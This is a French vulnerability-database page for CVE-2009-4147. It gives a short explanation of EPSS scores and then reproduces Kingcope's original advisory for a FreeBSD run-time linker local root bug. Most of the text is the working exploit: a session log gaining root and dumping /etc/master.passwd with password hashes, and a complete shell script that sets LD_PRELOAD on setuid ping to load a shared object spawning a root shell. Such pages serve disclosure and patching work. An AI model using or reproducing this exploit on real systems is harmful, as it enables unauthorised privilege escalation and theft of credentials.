CVE-2009-4147 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Discovered & Exploited by Nikolaos Rangos also known as Kingcope. Nov 2009 "BiG TiME" "Go fetch your FreeBSD r00tkitz" // http://www.youtube.com/watch?v=dDnhthI27Fg There is an unbelievable simple local r00t bug in recent FreeBSD versions. I audited FreeBSD for local r00t bugs a long time *sigh*. Now it pays out. The bug resides in the Run-Time Link-Editor (rtld). Normally rtld does not allow dangerous environment variables like LD_PRELOAD to be set when executing setugid binaries like "ping" or "su". With a rather simple technique rtld can be tricked into accepting LD variables even on setugid binaries. See the attached exploit for details. Example exploiting session ********************************** %uname -a;id; FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21 15:48:17 UTC 2009 root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 uid=1001(kcope) gid=1001(users) groups=1001(users) %./w00t.sh FreeBSD local r00t zeroday by Kingcope November 2009 env.c: In function 'main': env.c:5: warning: incompatible implicit declaration of built-in function 'malloc' env.c:9: warning: incompatible implicit declaration of built-in function 'strcpy' env.c:11: warning: incompatible implicit declaration of built-in function 'execl' /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for ALEX-ALEX # uname -a;id; FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21 15:48:17 UTC 2009 root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 uid=1001(kcope) gid=1001(users) euid=0(root) groups=1001(users) # cat /etc/master.passwd # $FreeBSD: src/etc/master.passwd,v 1.40.22.1.2.1 2009/10/25 01:10:29 kensmith Exp $ # root:$1$AUbbHoOs$CCCsw7hsMB14KBkeS1xlz2:0:0::0:0:Charlie &:/root:/bin/csh toor:*:0:0::0:0:Bourne-again Superuser:/root: daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5::0:0:System &:/:/usr/sbin/nologin bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin smmsp:*:25:25::0:0:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin mailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin proxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin _pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin _dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin uucp:*:66:66::0:0:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico pop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologin www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologin kcope:$1$u2wMkYLY$CCCuKax6dvYJrl2ZCYXA2:1001:1001::0:0:User &:/home/kcope:/bin/sh # Systems tested/affected ********************************** FreeBSD 8.0-RELEASE *** VULNERABLE FreeBSD 7.1-RELEASE *** VULNERABLE FreeBSD 6.3-RELEASE *** NOT VULN FreeBSD 4.9-RELEASE *** NOT VULN *EXPLOIT* #!/bin/sh echo ** FreeBSD local r00t zeroday echo by Kingcope echo November 2009 cat > env.c << _EOF #include <stdio.h> main() { extern char **environ; environ = (char**)malloc(8096); environ[0] = (char*)malloc(1024); environ[1] = (char*)malloc(1024); strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0"); execl("/sbin/ping", "ping", 0); } _EOF gcc env.c -o env cat > program.c << _EOF #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { extern char **environ; environ=NULL; system("echo ALEX-ALEX;/bin/sh"); } _EOF gcc -o program.o -c program.c -fPIC gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles cp w00t.so.1.0 /tmp/w00t.so.1.0 ./env